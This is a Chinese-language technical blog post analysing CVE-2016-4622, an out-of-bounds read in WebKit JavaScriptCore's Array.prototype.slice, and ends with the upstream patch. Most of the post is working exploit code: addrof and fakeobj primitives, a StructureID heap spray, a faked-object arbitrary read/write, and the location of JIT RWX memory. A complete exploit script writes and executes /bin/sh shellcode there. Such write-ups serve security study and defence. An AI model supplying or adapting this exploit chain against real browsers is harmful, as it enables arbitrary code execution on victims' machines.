骑麦兜看落日

[Vuln]CVE-2016-4622 WebKit Array slice OOB access

字数统计: 2.2k阅读时长: 11 min
2020/04/19 Share

CVE-2016-4622

[toc]

漏洞描述

Array的slice()方法在获取end时调用valueOf方法导致了数组越界访问

测试环境

使用的环境 备注
操作系统 Mac OS X 10.15.3
调试器 lldb lldb-1001.0.13.3 Swift-5.0
反汇编器 IDA Pro 版本号: 7.0
目标 WebKit JavaScriptCore commit:3af5ce129e6636350a887d01237a65c2fce77823
编译器 xcode Xcode_10.3

漏洞分析

调试环境

由于漏洞太老了,所以现有的编译环境有问题,可以在现有webkit上打上patch,patch文件write-ups/browser/CVE-2016-4622/vuln.patch

1
2
3
4
5
$ cp vuln.patch <WebKit-dir>
$ cd <WebKit-dir>
$ git checkout 3af5ce129e6636350a887d01237a65c2fce77823
$ git apply vuln.patch
$ Tools/Scripts/build-jsc --jsc-only --debug

漏洞点

这是一个数组越界访问(OOB)的漏洞,在Array.prototype.slice的实现中会出现一个Bug

JavaScript中调用slice()方法时,将调用位于Source/JavaScriptCore/runtime/ArrayPrototype.cpp中的arrayProtoFuncSlice():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)
{
/* [[ 1 ]] */
JSObject* thisObj = exec->thisValue()
.toThis(exec, StrictMode)
.toObject(exec);
if (!thisObj)
return JSValue::encode(JSValue());

/* [[ 2 ]] */
unsigned length = getLength(exec, thisObj);
if (exec->hadException())
return JSValue::encode(jsUndefined());

/* [[ 3 ]] */
unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length);
unsigned end =
argumentClampedIndexFromStartOrEnd(exec, 1, length, length);

/* [[ 4 ]] */
std::pair<SpeciesConstructResult, JSObject*> speciesResult =
speciesConstructArray(exec, thisObj, end - begin);
// We can only get an exception if we call some user function.
if (UNLIKELY(speciesResult.first ==
SpeciesConstructResult::Exception))
return JSValue::encode(jsUndefined());

/* [[ 5 ]] */
if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath &&
isJSArray(thisObj))) {
if (JSArray* result =
asArray(thisObj)->fastSlice(*exec, begin, end - begin))
return JSValue::encode(result);
}

代码本质上执行以下操作:

  1. 获取this对象
  2. 检查数组长度
  3. 将参数(开始和结束的索引参数)转换为整数类型,并限制在[0, length)的长度范围
  4. 检查是否使用了构造函数
  5. 执行切片操作

最后一步的实现可以用这两种方式完成:

  1. 如果数组是具有密集存储的本地数组,则将使用fastSlice,使用给定的索引和长度将内存值写入新数组
  2. 如果快速路径不可能,则使用简单循环来获取每个元素并将其添加到新数组

Javascript类型转换

JavaScript是弱类型语言,所以它会根据需要将值转换为需要的类型

如果对象有valueOf属性,则将会调用valueOf属性来获取值

1
2
Math.abs({valueOf: function() { return -42; }});
// 42

函数通过argumentClampedIndexFromStartOrEnd来限制索引在[0,lenght]的范围,其中通过toInteger()方法来转换为整数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
JSValue value = exec->argument(argument);
if (value.isUndefined())
return undefinedValue;
double indexDouble = value.toInteger(exec); // Conversion happens here
if (indexDouble < 0) {
indexDouble += length;
return indexDouble < 0 ? 0 : static_cast<unsigned>(indexDouble);
}
return indexDouble > length ? length :
static_cast<unsigned>(indexDouble);

return indexDouble < 0 ? 0 : static_cast<unsigned>(indexDouble);
}
return indexDouble > length ? length :static_cast<unsigned>(indexDouble);

现在,如果在valueOf()函数中修改数组长度,那么slice()方法的执行将继续使用前面的length变量,导致在memcpy期间越界访问.

如果缩减数组,则会触发调整元素存储大小,从JSArray::setLength可以看出.length转换器的实现过程:

1
2
3
4
5
6
7
unsigned lengthToClear = butterfly->publicLength() - newLength;
unsigned costToAllocateNewButterfly = 64; // a heuristic.
if (lengthToClear > newLength &&
lengthToClear > costToAllocateNewButterfly) {
reallocateAndShrinkButterfly(exec->vm(), newLength);
return true;
}

有了这些,就可以利用Array.prototype.slice:

1
2
3
4
5
6
var a = [];
for (var i = 0; i < 100; i++)
a.push(i + 0.123);

var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
// b = [0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0]

利用思路

addrof

我们需要泄露出地址,那么就应该是double类型,所以先创建一个ArrayWithDouble数组

然后收缩对象的.length触发数组的reallocateAndShrinkButterfly

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function addrof(obj) {
var a = [];
for (var i = 0; i < 100; i++) {
a.push(i + 0.23);
}
var hax = {
valueOf: function () {
a.length = 0;
a = [obj];
return 5;
},
};
b = a.slice(0, hax);
var addr = b[4];
return f2i(addr);
}

fakeobj

我们需要伪造一个对象,那么就应该是object类型,所以先创建一个ArrayWithContigous数组

通用收缩对象的.length触发数组的reallocateAndShrinkButterfly

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function fakeobj(addr) {
addr = i2f(addr);
var a = [];
for (var i = 0; i < 100; i++) {
a.push({});
}
var hax = {
valueOf: function () {
a.length = 0;
a = [addr];
return 5;
},
};
var b = a.slice(0, hax);
var obj = b[4];
return obj;
}

StructureID

由于此时还没有StructureID随机化的保护,所以此时StructureID还是顺序递增的状态,可以通过构造大量的对象来喷射一个正确的StructureID

1
2
3
4
5
6
7
8
spray = [];
for (var i = 0; i < 0x2000; i++) {
temp = [1.1];
temp.value = 2.2;
temp["p" + i] = 3.3;
spray.push(temp);
}
controllee = spray[0x200];

伪造对象

我们需要通过victim来伪造一个controller去控制controllee

1
2
3
4
5
6
    victim +-----------+-----------+
| jscell | butterfly |
controller +-----------+-----------+
| jscell | butterfly | ----> +-----------+-----------+ <- controllee
+-----------+-----------+ | jscell | butterfly |
+-----------+-----------+

实际构造如下

1
2
3
4
5
6
7
8
9
10
11
flag_ArrayWithDouble = 0x01082107;
flag_ArrayWithCongious = 0x01082109;
structure_id = 0x200;
u32[0] = structure_id;
u32[1] = flag_ArrayWithDouble;
header_ArrayWithDouble = f64[0]

victim = {
fakeheader: header_ArrayWithDouble,
controllee_obj: controllee,
};

overlap boxed与unboxed

重新构造addroffakeobj来更方便读取和应对有些情况下无法读的情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
controller -> +-----------+-----------+
| jscell | butterfly | ---+
+-----------+-----------+ |
|
controllee -> +-----------+-----------+ <--+
| jscell | butterfly | ---+
+-----------+-----------+ |
|
unboxed -> +-----------+-----------+ <--+--> +-----------+-----------+ <- boxed
| jscell | butterfly | ---+ | jscell | butterfly | ---+
+-----------+-----------+ | +-----------+-----------+ |
| |
+-----------+-----------+ x--+--> +-----------+-----------+ <--+
| memory | memory | | memory | memory |
+-----------+-----------+ +-----------+-----------+

实际构造如下

1
2
3
4
5
6
7
boxed = [{}]; // ArrayWithContiguous
unboxed = [1.23]; // ArrayWithDouble
controller[1] = unboxed; // controllee's butterfly
shared_butterfly = controllee[1]; // unbox's butterfly
controller[1] = boxed; // controllee's buttefly
controllee[1] = shared_butterfly; // box's butterfly = unbox's butterfly
victim.fakeheader = header_ArrayWithDouble;

读写函数

1
2
3
4
5
6
7
8
9
function read(addr) {
controller[1] = i2f(addr + 0x10);
boxed[0] = controllee.value;
return f2i(unboxed[0]);
}
function write(addr, value) {
controller[1] = i2f(addr + 0x10);
controllee.value = i2f(value);
}

获取RWX区域

JIT为可读可写可执行区域,调用路径为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
+------------------+
| JSFunction |
+------------------+
| JSCell |
| m_butterfly |
| m_scope |
| m_executable | -----> +------------------+
| m_rareData | | ExecutableBse |
+------------------+ +------------------+
| |
| |
| |
| m_jitCodeForCall | -----> +------------------+
| | | JITCode |
+------------------+ +------------------+
| |
| |
| |
| |
| m_codePtr | -----> func
| |
+------------------+
(lldb) p *(JSC::JSFunction *)0x1091688d0
(JSC::JSFunction) $3 = {
JSC::JSCallee = {
JSC::JSNonFinalObject = {
JSC::JSObject = {
JSC::JSCell = {
m_structureID = 65
m_indexingTypeAndMisc = '\0'
m_type = JSFunctionType
m_flags = '\x0e'
m_cellState = DefinitelyWhite
}
m_butterfly = (m_value = 0x0000000000000000)
}
}
m_scope = {
JSC::WriteBarrierBase<JSC::JSScope, WTF::DumbPtrTraits<JSC::JSScope> > = {
m_cell = 0x00000001091cc000
}
}
}
m_executable = {
JSC::WriteBarrierBase<JSC::ExecutableBase, WTF::PoisonedPtrTraits<WTF::Poison<uintptr_t &>
, JSC::ExecutableBase> > = {
m_cell = (m_poisonedBits = 4448052512)
}
}
m_rareData = {
JSC::WriteBarrierBase<JSC::FunctionRareData, WTF::PoisonedPtrTraits<WTF::Poison<uintptr_t
&>, JSC::FunctionRareData> > = {
m_cell = (m_poisonedBits = 0)
}
}
}

实际构造如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function getJIT() {
function target(num) {
for (var i = 2; i < num; i++) {
if (num % i === 0) {
return false;
}
}
return true;
}

for (var i = 0; i < 1000; i++) {
target(i);
}
for (var i = 0; i < 1000; i++) {
target(i);
}
for (var i = 0; i < 1000; i++) {
target(i);
}
return target;
}
function getRWXMem(JITFunc) {
target_addr = addrof(JITFunc);
target_addr = read(target_addr + 0x18);
target_addr = read(target_addr + 0x18);
target_addr = read(target_addr + 0x20);
return target_addr;
}

任意写

1
2
3
4
5
function injectShellcode(addr, shellcode) {
for (var i = 0, len = shellcode.length; i < len; ++i) {
write(addr + i, shellcode[i].charCodeAt());
}
}

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
var a = [];
for (var i = 0; i < 100; i++)
a.push(i + 0.123);

var b = a.slice(0, {
valueOf: function() {
a.length = 0;
return 10;
}
}
);
print(b);
//0.123,1.123,1.5488838078e-314,1.5488838078e-314,1.5488838078e-314,1.5488838078e-314,1.5488838078e-314,1.5488838078e-314,1.5488838078e-314,1.5488838078e-314

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
var buffer = new ArrayBuffer(8);
var u8 = new Uint8Array(buffer);
var u32 = new Uint32Array(buffer);
var f64 = new Float64Array(buffer);
var BASE = 0x100000000;
function i2f(i) {
u32[0] = i % BASE;
u32[1] = i / BASE;
return f64[0];
}
function f2i(f) {
f64[0] = f;
return u32[0] + BASE * u32[1];
}
function hex(x) {
if (x < 0) return `-${hex(-x)}`;
return `0x${x.toString(16)}`;
}

function addrof(obj) {
var a = [];
for (var i = 0; i < 100; i++) {
a.push(i + 0.23);
}
var hax = {
valueOf: function () {
a.length = 0;
a = [obj];
return 5;
},
};
b = a.slice(0, hax);
var addr = b[4];
return f2i(addr);
}

function fakeobj(addr) {
addr = i2f(addr);
var a = [];
for (var i = 0; i < 100; i++) {
a.push({});
}
var hax = {
valueOf: function () {
a.length = 0;
a = [addr];
return 5;
},
};
var b = a.slice(0, hax);
var obj = b[4];
return obj;
}

function getJIT() {
function target(num) {
for (var i = 2; i < num; i++) {
if (num % i === 0) {
return false;
}
}
return true;
}

for (var i = 0; i < 1000; i++) {
target(i);
}
for (var i = 0; i < 1000; i++) {
target(i);
}
for (var i = 0; i < 1000; i++) {
target(i);
}
return target;
}

flag_ArrayWithDouble = 0x01082107;
flag_ArrayWithCongious = 0x01082109;
structure_id = 0x200;
u32[0] = structure_id;
u32[1] = flag_ArrayWithDouble;
header_ArrayWithDouble = f64[0];

spray = [];
for (var i = 0; i < 0x2000; i++) {
temp = [1.1];
temp.value = 2.2;
temp["p" + i] = 3.3;
spray.push(temp);
}
controllee = spray[0x200];

victim = {
fakeheader: header_ArrayWithDouble,
controllee_obj: controllee,
};

controller_addr = addrof(victim) + 0x10;
controller = fakeobj(controller_addr);

boxed = [{}]; // ArrayWithContiguous
unboxed = [1.23]; // ArrayWithDouble
controller[1] = unboxed; // controllee's butterfly
shared_butterfly = controllee[1]; // unbox's butterfly
controller[1] = boxed; // controllee's buttefly
controllee[1] = shared_butterfly; // box's butterfly = unbox's butterfly
victim.fakeheader = header_ArrayWithDouble;

function read(addr) {
controller[1] = i2f(addr + 0x10);
boxed[0] = controllee.value;
return f2i(unboxed[0]);
}
function write(addr, value) {
controller[1] = i2f(addr + 0x10);
controllee.value = i2f(value);
}
function getRWXMem(JITFunc) {
target_addr = addrof(JITFunc);
target_addr = read(target_addr + 0x18);
target_addr = read(target_addr + 0x18);
target_addr = read(target_addr + 0x20);
return target_addr;
}
function injectShellcode(addr, shellcode) {
for (var i = 0, len = shellcode.length; i < len; ++i) {
write(addr + i, shellcode[i].charCodeAt());
}
}

shellcode = "\x48\x31\xf6\x56\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x48\x89\xe7\x48\x31\xd2\x48\x31\xc0\xb0\x02\x48\xc1\xc8\x28\xb0\x3b\x0f\x05";
func = getJIT();
mem = getRWXMem(func);
injectShellcode(mem, shellcode);

func();

漏洞修复

程序在进入到fastpath的时候对重新获取数组长度判断长度是否被更改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// Source/JavaScriptCore/runtime/ArrayPrototype.cpp
@@ -863,7 +863,7 @@ EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)
if (UNLIKELY(speciesResult.first == SpeciesConstructResult::Exception))
return JSValue::encode(jsUndefined());

- if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj))) {
+ if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj) && length == getLength(exec, thisObj))) {
if (JSArray* result = asArray(thisObj)->fastSlice(*exec, begin, end - begin))
return JSValue::encode(result);
}
@@ -932,7 +932,7 @@ EncodedJSValue JSC_HOST_CALL arrayProtoFuncSplice(ExecState* exec)
return JSValue::encode(jsUndefined());

JSObject* result = nullptr;
- if (speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj))
+ if (speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj) && length == getLength(exec, thisObj))
result = asArray(thisObj)->fastSlice(*exec, begin, deleteCount);

if (!result) {

Crash: Array.prototype.slice() and .splice() can call fastSlice() aft…

JavaScript engine exploit(三)

Attacking JavaScript Engines: A case study of JavaScriptCore and CVE-2016-4622

CATALOG
  1. 1. CVE-2016-4622
    1. 1.1. 漏洞描述
    2. 1.2. 测试环境
    3. 1.3. 漏洞分析
      1. 1.3.1. 调试环境
      2. 1.3.2. 漏洞点
      3. 1.3.3. Javascript类型转换
    4. 1.4. 利用思路
      1. 1.4.1. addrof
      2. 1.4.2. fakeobj
      3. 1.4.3. StructureID
      4. 1.4.4. 伪造对象
      5. 1.4.5. overlap boxed与unboxed
      6. 1.4.6. 读写函数
      7. 1.4.7. 获取RWX区域
      8. 1.4.8. 任意写
    5. 1.5. POC
    6. 1.6. EXP
    7. 1.7. 漏洞修复
    8. 1.8. LINK